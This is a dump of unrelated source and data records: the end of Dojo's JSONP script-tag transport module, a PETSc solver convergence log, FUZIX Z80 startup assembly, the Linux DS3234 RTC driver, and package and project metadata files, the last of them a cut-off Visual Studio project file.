callbackParamName instead).\n\t\t// frameDoc: Document\n\t\t//\t\tThe Document object for a child iframe. If this is passed in, the script\n\t\t//\t\twill be attached to that document. This can be helpful in some comet long-polling\n\t\t//\t\tscenarios with Firefox and Opera.\n\t});\n\t=====*/\n\n\tvar script = {\n\t\t// summary:\n\t\t//\t\tTODOC\n\n\t\tget: function(/*__ioArgs*/ args){\n\t\t\t// summary:\n\t\t\t//\t\tsends a get request using a dynamically created script tag.\n\t\t\tvar rDfd;\n\t\t\tvar dfd = this._makeScriptDeferred(args, function(dfd){\n\t\t\t\trDfd && rDfd.cancel();\n\t\t\t});\n\t\t\tvar ioArgs = dfd.ioArgs;\n\t\t\txhr._ioAddQueryToUrl(ioArgs);\n\n\t\t\txhr._ioNotifyStart(dfd);\n\n\t\t\trDfd = _script.get(ioArgs.url, {\n\t\t\t\ttimeout: args.timeout,\n\t\t\t\tjsonp: ioArgs.jsonp,\n\t\t\t\tcheckString: args.checkString,\n\t\t\t\tioArgs: ioArgs,\n\t\t\t\tframeDoc: args.frameDoc,\n\t\t\t\tcanAttach: function(rDfd){\n\t\t\t\t\t// sync values\n\t\t\t\t\tioArgs.requestId = rDfd.id;\n\t\t\t\t\tioArgs.scriptId = rDfd.scriptId;\n\t\t\t\t\tioArgs.canDelete = rDfd.canDelete;\n\n\t\t\t\t\treturn script._canAttach(ioArgs);\n\t\t\t\t}\n\t\t\t}, true);\n\n\t\t\trDfd.then(function(){\n\t\t\t\tdfd.resolve(dfd);\n\t\t\t}).otherwise(function(error){\n\t\t\t\tdfd.ioArgs.error = error;\n\t\t\t\tdfd.reject(error);\n\t\t\t});\n\n\t\t\treturn dfd;\n\t\t},\n\n\t\tattach: _script._attach,\n\t\tremove: _script._remove,\n\n\t\t_makeScriptDeferred: function(/*Object*/ args, /*Function?*/ cancel){\n\t\t\t// summary:\n\t\t\t//\t\tsets up a Deferred object for an IO request.\n\t\t\tvar dfd = xhr._ioSetArgs(args, cancel || this._deferredCancel, this._deferredOk, this._deferredError);\n\n\t\t\tvar ioArgs = dfd.ioArgs;\n\t\t\tioArgs.id = kernel._scopeName + \"IoScript\" + (this._counter++);\n\t\t\tioArgs.canDelete = false;\n\n\t\t\t//Special setup for jsonp case\n\t\t\tioArgs.jsonp = args.callbackParamName || args.jsonp;\n\t\t\tif(ioArgs.jsonp){\n\t\t\t\t//Add the jsonp parameter.\n\t\t\t\tioArgs.query = ioArgs.query || \"\";\n\t\t\t\tif(ioArgs.query.length > 0){\n\t\t\t\t\tioArgs.query += \"&\";\n\t\t\t\t}\n\t\t\t\tioArgs.query += ioArgs.jsonp +\n\t\t\t\t\t\"=\" + (args.frameDoc ? \"parent.\" : \"\") +\n\t\t\t\t\tkernel._scopeName + \".io.script.jsonp_\" + ioArgs.id + \"._jsonpCallback\";\n\n\t\t\t\tioArgs.frameDoc = args.frameDoc;\n\n\t\t\t\t//Setup the Deferred to have the jsonp callback.\n\t\t\t\tioArgs.canDelete = true;\n\t\t\t\tdfd._jsonpCallback = this._jsonpCallback;\n\t\t\t\tthis[\"jsonp_\" + ioArgs.id] = dfd;\n\t\t\t}\n\t\t\treturn dfd; // dojo/_base/Deferred\n\t\t},\n\n\t\t_deferredCancel: function(/*Deferred*/ dfd){\n\t\t\t// summary:\n\t\t\t//\t\tcanceller function for xhr._ioSetArgs call.\n\n\t\t\t//DO NOT use \"this\" and expect it to be script.\n\t\t\tdfd.canceled = true;\n\t\t},\n\n\t\t_deferredOk: function(/*Deferred*/ dfd){\n\t\t\t// summary:\n\t\t\t//\t\tokHandler function for xhr._ioSetArgs call.\n\n\t\t\t//DO NOT use \"this\" and expect it to be script.\n\t\t\tvar ioArgs = dfd.ioArgs;\n\n\t\t\t//Favor JSONP responses, script load events then lastly ioArgs.\n\t\t\t//The ioArgs are goofy, but cannot return the dfd since that stops\n\t\t\t//the callback chain in Deferred. The return value is not that important\n\t\t\t//in that case, probably a checkString case.\n\t\t\treturn ioArgs.json || ioArgs.scriptLoaded || ioArgs;\n\t\t},\n\n\t\t_deferredError: function(/*Error*/ error, /*Deferred*/ dfd){\n\t\t\t// summary:\n\t\t\t//\t\terrHandler function for xhr._ioSetArgs call.\n\n\t\t\tconsole.log(\"dojo.io.script error\", error);\n\t\t\treturn error;\n\t\t},\n\n\t\t_deadScripts: [],\n\t\t_counter: 1,\n\n\t\t_addDeadScript: function(/*Object*/ ioArgs){\n\t\t\t// summary:\n\t\t\t//\t\tsets up an entry in the deadScripts array.\n\t\t\tscript._deadScripts.push({id: ioArgs.id, frameDoc: ioArgs.frameDoc});\n\t\t\t//Being extra paranoid about leaks:\n\t\t\tioArgs.frameDoc = null;\n\t\t},\n\n\t\t_validCheck: function(/*Deferred*/ dfd){\n\t\t\t// summary:\n\t\t\t//\t\tinflight check function to see if dfd is still valid.\n\n\t\t\t// TODO: why isn't dfd accessed?\n\n\t\t\t//Do script cleanup here. We wait for one inflight pass\n\t\t\t//to make sure we don't get any weird things by trying to remove a script\n\t\t\t//tag that is part of the call chain (IE 6 has been known to\n\t\t\t//crash in that case).\n\t\t\tvar deadScripts = script._deadScripts;\n\t\t\tif(deadScripts && deadScripts.length > 0){\n\t\t\t\tfor(var i = 0; i < deadScripts.length; i++){\n\t\t\t\t\t//Remove the script tag\n\t\t\t\t\tscript.remove(deadScripts[i].id, deadScripts[i].frameDoc);\n\t\t\t\t\tdeadScripts[i].frameDoc = null;\n\t\t\t\t}\n\t\t\t\tscript._deadScripts = [];\n\t\t\t}\n\n\t\t\treturn true;\n\t\t},\n\n\t\t_ioCheck: function(dfd){\n\t\t\t// summary:\n\t\t\t//\t\tinflight check function to see if IO finished.\n\t\t\t// dfd: Deferred\n\t\t\tvar ioArgs = dfd.ioArgs;\n\t\t\t//Check for finished jsonp\n\t\t\tif(ioArgs.json || (ioArgs.scriptLoaded && !ioArgs.args.checkString)){\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t//Check for finished \"checkString\" case.\n\t\t\tvar checkString = ioArgs.args.checkString;\n\t\t\treturn checkString && eval(\"typeof(\" + checkString + \") != 'undefined'\");\n\n\n\t\t},\n\n\t\t_resHandle: function(/*Deferred*/ dfd){\n\t\t\t// summary:\n\t\t\t//\t\tinflight function to handle a completed response.\n\t\t\tif(script._ioCheck(dfd)){\n\t\t\t\tdfd.callback(dfd);\n\t\t\t}else{\n\t\t\t\t//This path should never happen since the only way we can get\n\t\t\t\t//to _resHandle is if _ioCheck is true.\n\t\t\t\tdfd.errback(new Error(\"inconceivable dojo.io.script._resHandle error\"));\n\t\t\t}\n\t\t},\n\n\t\t_canAttach: function(/*===== ioArgs =====*/ ){\n\t\t\t// summary:\n\t\t\t//\t\tA method that can be overridden by other modules\n\t\t\t//\t\tto control when the script attachment occurs.\n\t\t\t// ioArgs: Object\n\t\t\treturn true;\n\t\t},\n\n\t\t_jsonpCallback: function(/*JSON Object*/ json){\n\t\t\t// summary:\n\t\t\t//\t\tgeneric handler for jsonp callback. A pointer to this function\n\t\t\t//\t\tis used for all jsonp callbacks. NOTE: the \"this\" in this\n\t\t\t//\t\tfunction will be the Deferred object that represents the script\n\t\t\t//\t\trequest.\n\t\t\tthis.ioArgs.json = json;\n\t\t\tkernel.global[_script._callbacksProperty][this.ioArgs.requestId](json);\n\t\t}\n\t};\n\n\tlang.setObject(\"dojo.io.script\", script);\n\n\t/*=====\n\tscript.attach = function(id, url, frameDocument){\n\t\t// summary:\n\t\t//\t\tcreates a new `<script>` tag pointing to the specified URL and\n\t\t//\t\tadds it to the document.\n\t\t// description:\n\t\t//\t\tAttaches the script element to the DOM. Use this method if you\n\t\t//\t\tjust want to attach a script to the DOM and do not care when or\n\t\t//\t\tif it loads.\n\t};\n\tscript.remove = function(id, frameDocument){\n\t\t// summary:\n\t\t//\t\tremoves the script element with the given id, from the given frameDocument.\n\t\t//\t\tIf no frameDocument is passed, the current document is used.\n\t};\n\t=====*/\n\n\treturn script;\n});\n"} {"text": "lid velocity = 0.0625, prandtl # = 1., grashof # = 1.\n 0 SNES Function norm 2.391552180052e-01 \n 0 KSP Residual norm 2.393352985382e-01 \n 1 KSP Residual norm 3.223423659801e-02 \n 2 KSP Residual norm 1.438869629055e-03 \n 3 KSP Residual norm 3.236616248614e-05 \n 4 KSP Residual norm 1.238240315615e-06 \n 1 SNES Function norm 6.561269611120e-02 \n 0 KSP Residual norm 2.976057119668e-02 \n 1 KSP Residual norm 6.350534968078e-04 \n 2 KSP Residual norm 3.640822251327e-05 \n 3 KSP Residual norm 1.045957674251e-06 \n 4 KSP Residual norm 3.599389586384e-08 \n 2 SNES Function norm 8.399783109780e-05 \n 0 KSP Residual norm 6.036844933988e-05 \n 1 KSP Residual norm 1.780078946467e-06 \n 2 KSP Residual norm 8.336366619233e-08 \n 3 KSP Residual norm 2.332964488261e-09 \n 4 KSP Residual norm 6.084324016831e-11 \n 3 SNES Function norm 4.955282292940e-06 \n 0 KSP Residual norm 2.182712023568e-06 \n 1 KSP Residual norm 7.639241061952e-08 \n 2 KSP Residual norm 3.652530056186e-09 \n 3 KSP Residual norm 1.370309560267e-10 \n 4 KSP Residual norm 5.121130516178e-12 \n 4 SNES Function norm 3.495943019516e-07 \nNumber of SNES iterations = 4\n"} {"text": "好奇心原文链接:[你还记得小时候的搪瓷吗?三个年轻人,想让它重新回到年轻人的生活里_设计_好奇心日报-廖婷](https://www.qdaily.com/articles/31633.html)\nWebArchive归档链接:[你还记得小时候的搪瓷吗?三个年轻人,想让它重新回到年轻人的生活里_设计_好奇心日报-廖婷](http://web.archive.org/web/20161108033203/http://www.qdaily.com:80/articles/31633.html)\n![image](http://ww3.sinaimg.cn/large/007d5XDply1g3xqkso1d4j30u07liu0z)"} {"text": " .module crt0\n\n ; Ordering of segments for the linker.\n ; WRS: Note we list all our segments here, even though\n ; we don't use them all, because their ordering is set\n ; when they are first seen.\n\n\t; Start with the ROM area CODE-CODE2\n .area _CODE\n .area _HOME ; compiler stores __mullong etc in here if you use them\n .area _CODE2\n .area _CONST\n .area _INITIALIZED\n .area _DATA\n .area _BSEG\n .area _BSS\n .area _HEAP\n .area _GSINIT ; unused\n .area _GSFINAL ; unused\n .area _BUFFERS ; _BUFFERS grows to consume all before it (up to KERNTOP)\n\t; Discard is loaded where process memory wil blow it away\n .area _DISCARD\n\t; The rest grows upwards from C000 starting with the udata so we can\n\t; swap in one block, ending with the buffers so they can expand up\n ; note that areas below here may be overwritten by the heap at runtime, so\n ; put initialisation stuff in here\n\t; These get overwritten and don't matter\n .area _INITIALIZER ; binman copies this to the right place for us\n .area _COMMONMEM\n\n ; exported symbols\n\t.globl _suspend\n\n ; imported symbols\n .globl _fuzix_main\n .globl init_hardware\n .globl s__INITIALIZER\n .globl s__COMMONMEM\n .globl l__COMMONMEM\n .globl s__DISCARD\n .globl l__DISCARD\n .globl s__DATA\n .globl l__DATA\n\t.globl s__BUFFERS\n\t.globl l__BUFFERS\n .globl kstack_top\n\n\t.globl interrupt_handler\n\t.globl nmi_handler\n\t.globl outstring\n\n\t.globl _mach_zrcc\n\n\t.include \"kernel.def\"\n\n\t; Starts at 0x1000 at the moment\n\n\t; Entered with bank = 1 from the bootstrap logic\n\t; A holds the machine type: 0 = SBC64/MBC64 1 = ZRCC\n\nresume_sp .equ 0x0080\nresume_tag .equ 0x0084\n\n\t.area _CODE\n\n\tjp start\n\tjp resume\n\t.dw 0x10AD\n\nstart:\n\tld sp, #kstack_top\n\n\t; move the common memory where it belongs \n\tld hl, #s__DATA\n\tld de, #s__COMMONMEM\n\tld bc, #l__COMMONMEM\n\tldir\n\t; then the discard\n\t; Discard can just be linked in but is next to the buffers\n\tld de, #s__DISCARD\n\tld bc, #l__DISCARD\n\tldir\n\n\tld hl, #s__DATA\n\tld de, #s__DATA + 1\n\tld bc, #l__DATA - 1\n\tld (hl),#0\n\tldir\n\n\t; Zero buffers area\n\tld hl, #s__BUFFERS\n\tld de, #s__BUFFERS + 1\n\tld bc, #l__BUFFERS - 1\n\tld (hl), #0\n\tldir\n\n\tld (_mach_zrcc),a\n\n\tcall init_hardware\n\tcall _fuzix_main\n\t; Should never return\n\tdi\nstop:\thalt\n\tjr stop\n;\n;\tHelpers for the battery backed memory model\n;\nresume:\n\tdi\n\tld sp, (resume_sp)\n\tpop iy\n\tpop ix\n\tld hl, #0\n\tld (resume_tag), hl\n\tret\n\n_suspend:\n\tpush ix\n\tpush iy\n\tld (resume_sp), sp\n\tld hl,#0xC0DE\n\tld (resume_tag), hl\n\tld hl, #suspended\n\tcall outstring\n\tdi\n\thalt\nsuspended:\n\t.ascii 'Suspended, you may now power off'\n\t.db 13,10,0\n\n\n\t"} {"text": "# Providers for FormatConversion\ncom.sun.media.sound.AudioFloatFormatConverter\ncom.sun.media.sound.UlawCodec\ncom.sun.media.sound.AlawCodec\ncom.sun.media.sound.PCMtoPCMCodec\n"} {"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"content_xl.png\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"content_xl@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"content_xl@3x.png\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE pkgmetadata SYSTEM \"http://www.gentoo.org/dtd/metadata.dtd\">\n<pkgmetadata>\n\t<maintainer type=\"project\">\n\t\t<email>haskell@gentoo.org</email>\n\t\t<name>Gentoo Haskell</name>\n\t</maintainer>\n\t<longdescription>\n\t\tHAProxy protocol version 1.5 support (see\n\t\t&lt;http://haproxy.1wt.eu/download/1.5/doc/proxy-protocol.txt&gt;) for applications\n\t\tusing io-streams. The proxy protocol allows information about a networked\n\t\tpeer (like remote address and port) to be propagated through a forwarding\n\t\tproxy that is configured to speak this protocol.\n\t</longdescription>\n</pkgmetadata>\n"} {"text": "/* rtc-ds3234.c\n *\n * Driver for Dallas Semiconductor (DS3234) SPI RTC with Integrated Crystal\n * and SRAM.\n *\n * Copyright (C) 2008 MIMOMax Wireless Ltd.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\n */\n\n#include <linux/init.h>\n#include <linux/module.h>\n#include <linux/device.h>\n#include <linux/platform_device.h>\n#include <linux/rtc.h>\n#include <linux/spi/spi.h>\n#include <linux/bcd.h>\n\n#define DS3234_REG_SECONDS\t0x00\n#define DS3234_REG_MINUTES\t0x01\n#define DS3234_REG_HOURS\t0x02\n#define DS3234_REG_DAY\t\t0x03\n#define DS3234_REG_DATE\t\t0x04\n#define DS3234_REG_MONTH\t0x05\n#define DS3234_REG_YEAR\t\t0x06\n#define DS3234_REG_CENTURY\t(1 << 7) /* Bit 7 of the Month register */\n\n#define DS3234_REG_CONTROL\t0x0E\n#define DS3234_REG_CONT_STAT\t0x0F\n\nstatic int ds3234_set_reg(struct device *dev, unsigned char address,\n\t\t\t\tunsigned char data)\n{\n\tstruct spi_device *spi = to_spi_device(dev);\n\tunsigned char buf[2];\n\n\t/* MSB must be '1' to indicate write */\n\tbuf[0] = address | 0x80;\n\tbuf[1] = data;\n\n\treturn spi_write_then_read(spi, buf, 2, NULL, 0);\n}\n\nstatic int ds3234_get_reg(struct device *dev, unsigned char address,\n\t\t\t\tunsigned char *data)\n{\n\tstruct spi_device *spi = to_spi_device(dev);\n\n\t*data = address & 0x7f;\n\n\treturn spi_write_then_read(spi, data, 1, data, 1);\n}\n\nstatic int ds3234_read_time(struct device *dev, struct rtc_time *dt)\n{\n\tint err;\n\tunsigned char buf[8];\n\tstruct spi_device *spi = to_spi_device(dev);\n\n\tbuf[0] = 0x00; /* Start address */\n\n\terr = spi_write_then_read(spi, buf, 1, buf, 8);\n\tif (err != 0)\n\t\treturn err;\n\n\t/* Seconds, Minutes, Hours, Day, Date, Month, Year */\n\tdt->tm_sec\t= bcd2bin(buf[0]);\n\tdt->tm_min\t= bcd2bin(buf[1]);\n\tdt->tm_hour\t= bcd2bin(buf[2] & 0x3f);\n\tdt->tm_wday\t= bcd2bin(buf[3]) - 1; /* 0 = Sun */\n\tdt->tm_mday\t= bcd2bin(buf[4]);\n\tdt->tm_mon\t= bcd2bin(buf[5] & 0x1f) - 1; /* 0 = Jan */\n\tdt->tm_year\t= bcd2bin(buf[6] & 0xff) + 100; /* Assume 20YY */\n\n\treturn rtc_valid_tm(dt);\n}\n\nstatic int ds3234_set_time(struct device *dev, struct rtc_time *dt)\n{\n\tds3234_set_reg(dev, DS3234_REG_SECONDS, bin2bcd(dt->tm_sec));\n\tds3234_set_reg(dev, DS3234_REG_MINUTES, bin2bcd(dt->tm_min));\n\tds3234_set_reg(dev, DS3234_REG_HOURS, bin2bcd(dt->tm_hour) & 0x3f);\n\n\t/* 0 = Sun */\n\tds3234_set_reg(dev, DS3234_REG_DAY, bin2bcd(dt->tm_wday + 1));\n\tds3234_set_reg(dev, DS3234_REG_DATE, bin2bcd(dt->tm_mday));\n\n\t/* 0 = Jan */\n\tds3234_set_reg(dev, DS3234_REG_MONTH, bin2bcd(dt->tm_mon + 1));\n\n\t/* Assume 20YY although we just want to make sure not to go negative. */\n\tif (dt->tm_year > 100)\n\t\tdt->tm_year -= 100;\n\n\tds3234_set_reg(dev, DS3234_REG_YEAR, bin2bcd(dt->tm_year));\n\n\treturn 0;\n}\n\nstatic const struct rtc_class_ops ds3234_rtc_ops = {\n\t.read_time\t= ds3234_read_time,\n\t.set_time\t= ds3234_set_time,\n};\n\nstatic int ds3234_probe(struct spi_device *spi)\n{\n\tstruct rtc_device *rtc;\n\tunsigned char tmp;\n\tint res;\n\n\tspi->mode = SPI_MODE_3;\n\tspi->bits_per_word = 8;\n\tspi_setup(spi);\n\n\tres = ds3234_get_reg(&spi->dev, DS3234_REG_SECONDS, &tmp);\n\tif (res != 0)\n\t\treturn res;\n\n\t/* Control settings\n\t *\n\t * CONTROL_REG\n\t * BIT 7\t6\t5\t4\t3\t2\t1\t0\n\t * EOSC\tBBSQW\tCONV\tRS2\tRS1\tINTCN\tA2IE\tA1IE\n\t *\n\t * 0\t0\t0\t1\t1\t1\t0\t0\n\t *\n\t * CONTROL_STAT_REG\n\t * BIT 7\t6\t5\t4\t3\t2\t1\t0\n\t * OSF\tBB32kHz\tCRATE1\tCRATE0\tEN32kHz\tBSY\tA2F\tA1F\n\t *\n\t * 1\t0\t0\t0\t1\t0\t0\t0\n\t */\n\tds3234_get_reg(&spi->dev, DS3234_REG_CONTROL, &tmp);\n\tds3234_set_reg(&spi->dev, DS3234_REG_CONTROL, tmp & 0x1c);\n\n\tds3234_get_reg(&spi->dev, DS3234_REG_CONT_STAT, &tmp);\n\tds3234_set_reg(&spi->dev, DS3234_REG_CONT_STAT, tmp & 0x88);\n\n\t/* Print our settings */\n\tds3234_get_reg(&spi->dev, DS3234_REG_CONTROL, &tmp);\n\tdev_info(&spi->dev, \"Control Reg: 0x%02x\\n\", tmp);\n\n\tds3234_get_reg(&spi->dev, DS3234_REG_CONT_STAT, &tmp);\n\tdev_info(&spi->dev, \"Ctrl/Stat Reg: 0x%02x\\n\", tmp);\n\n\trtc = devm_rtc_device_register(&spi->dev, \"ds3234\",\n\t\t\t\t&ds3234_rtc_ops, THIS_MODULE);\n\tif (IS_ERR(rtc))\n\t\treturn PTR_ERR(rtc);\n\n\tspi_set_drvdata(spi, rtc);\n\n\treturn 0;\n}\n\nstatic struct spi_driver ds3234_driver = {\n\t.driver = {\n\t\t.name\t = \"ds3234\",\n\t},\n\t.probe\t = ds3234_probe,\n};\n\nmodule_spi_driver(ds3234_driver);\n\nMODULE_DESCRIPTION(\"DS3234 SPI RTC driver\");\nMODULE_AUTHOR(\"Dennis Aberilla <denzzzhome@yahoo.com>\");\nMODULE_LICENSE(\"GPL\");\nMODULE_ALIAS(\"spi:ds3234\");\n"} {"text": "<?xml version=\"1.0\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n\t<ItemGroup Label=\"ProjectConfigurations\">\n\t\t<ProjectConfiguration Include=\"Debug|Win32\">\n\t\t\t<Configuration>Debug</Configuration>\n\t\t\t<Platform>Win32</Platform>\n\t\t</ProjectConfiguration>\n\t\t<ProjectConfiguration Include=\"Release|Win32\">\n\t\t\t<Configuration>Release</Configuration>\n\t\t\t<Platform>Win32</Platform>\n\t\t</ProjectConfiguration>\n\t</ItemGroup>\n\t<PropertyGroup Label=\"Globals\">\n\t\t<ProjectGuid>{7FD42DF7-442E-479A-BA76-D0022F99702A}</ProjectGuid>\n\t\t<RootNamespace>DurationRemote</RootNamespace>\n\t\t<Keyword>Win32Proj</Keyword>\n\t</PropertyGroup>\n\t<Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n\t<PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n\t\t<ConfigurationType>Application</ConfigurationType>\n\t\t<CharacterSet>Unicode</CharacterSet>\n\t\t<WholeProgramOptimization>true</WholeProgramOptimization>\n\t</PropertyGroup>\n\t<PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n\t\t<ConfigurationType>Application</ConfigurationType>\n\t\t<CharacterSet>Unicode</CharacterSet>\n\t</PropertyGroup>\n\t<Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n\t<ImportGroup Label=\"ExtensionSettings\" />\n\t<ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"PropertySheets\">\n\t\t<Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n\t\t<Import Project=\"..\\..\\..\\libs\\openFrameworksCompiled\\project\\vs2010\\openFrameworksRelease.props\" />\n\t</ImportGroup>\n\t<ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"PropertySheets\">\n\t\t<Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n\t\t<Import Project=\"..\\..\\..\\libs\\openFrameworksCompiled\\project\\vs2010\\openFrameworksDebug.props\" />\n\t</ImportGroup>\n\t<PropertyGroup Label=\"UserMacros\" />\n\t<PropertyGroup>\n\t\t<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>\n\t\t<OutDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">bin\\</OutDir>\n\t\t<IntDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">obj\\$(Configuration)\\</IntDir>\n\t\t<LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">true</LinkIncremental>\n\t\t<GenerateManifest Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">true</GenerateManifest>\n\t\t<OutDir Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">bin\\</OutDir>\n\t\t<IntDir Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">obj\\$(Configuration)\\</IntDir>\n\t\t<LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</LinkIncremental>\n\t\t<TargetName Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">$(ProjectName)_debug</TargetName>\n\t\t<TargetName Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">$(ProjectName)</TargetName>\n\t</PropertyGroup>\n\t<ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n\t\t<ClCompile>\n\t\t\t<Optimization>Disabled</Optimization>\n\t\t\t<MinimalRebuild>true</MinimalRebuild>\n\t\t\t<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>\n\t\t\t<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n\t\t\t<PrecompiledHeader />\n\t\t\t<WarningLevel>Level3</WarningLevel>\n\t\t\t<DebugInformationFormat>EditAndContinue</DebugInformationFormat>\n\t\t\t<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);src;..\\..\\..\\addons\\ofxOsc\\libs;..\\..\\..\\addons\\ofxOsc\\src;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\posix;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\win32;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc;..\\..\\..\\addons\\ofxUI\\libs;..\\..\\..\\addons\\ofxUI\\src;..\\..\\..\\addons\\ofxXmlSettings\\libs;..\\..\\..\\addons\\ofxXmlSettings\\src</AdditionalIncludeDirectories>\n\t\t</ClCompile>\n\t\t<Link>\n\t\t\t<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>\n\t\t\t<GenerateDebugInformation>true</GenerateDebugInformation>\n\t\t\t<ProgramDatabaseFile>$(TargetDir)$(TargetName)_debugInfo.pdb</ProgramDatabaseFile>\n\t\t\t<SubSystem>Console</SubSystem>\n\t\t\t<RandomizedBaseAddress>false</RandomizedBaseAddress>\n\t\t\t<DataExecutionPrevention />\n\t\t\t<TargetMachine>MachineX86</TargetMachine>\n\t\t\t<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n\t\t\t<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n\t\t</Link>\n\t\t<PostBuildEvent />\n\t</ItemDefinitionGroup>\n\t<ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n\t\t<ClCompile>\n\t\t\t<WholeProgramOptimization>false</WholeProgramOptimization>\n\t\t\t<PreprocessorDefinitions>%(PreprocessorDefinitions)</PreprocessorDefinitions>\n\t\t\t<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n\t\t\t<PrecompiledHeader />\n\t\t\t<WarningLevel>Level3</WarningLevel>\n\t\t\t<DebugInformationFormat />\n\t\t\t<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);src;..\\..\\..\\addons\\ofxOsc\\libs;..\\..\\..\\addons\\ofxOsc\\src;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\posix;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\win32;..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc;..\\..\\..\\addons\\ofxUI\\libs;..\\..\\..\\addons\\ofxUI\\src;..\\..\\..\\addons\\ofxXmlSettings\\libs;..\\..\\..\\addons\\ofxXmlSettings\\src</AdditionalIncludeDirectories>\n\t\t</ClCompile>\n\t\t<Link>\n\t\t\t<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>\n\t\t\t<GenerateDebugInformation>false</GenerateDebugInformation>\n\t\t\t<SubSystem>Console</SubSystem>\n\t\t\t<OptimizeReferences>true</OptimizeReferences>\n\t\t\t<EnableCOMDATFolding>true</EnableCOMDATFolding>\n\t\t\t<RandomizedBaseAddress>false</RandomizedBaseAddress>\n\t\t\t<DataExecutionPrevention />\n\t\t\t<TargetMachine>MachineX86</TargetMachine>\n\t\t\t<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>\n\t\t\t<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n\t\t\t<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n\t\t</Link>\n\t\t<PostBuildEvent />\n\t</ItemDefinitionGroup>\n\t<ItemGroup>\n\t\t<ClCompile Include=\"src\\main.cpp\" />\n\t\t<ClCompile Include=\"src\\testApp.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscBundle.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscMessage.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscReceiver.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscSender.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\IpEndpointName.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\posix\\NetworkingUtils.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\posix\\UdpSocket.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\win32\\NetworkingUtilsWin.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\win32\\UdpSocketWin.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscOutboundPacketStream.cpp\" 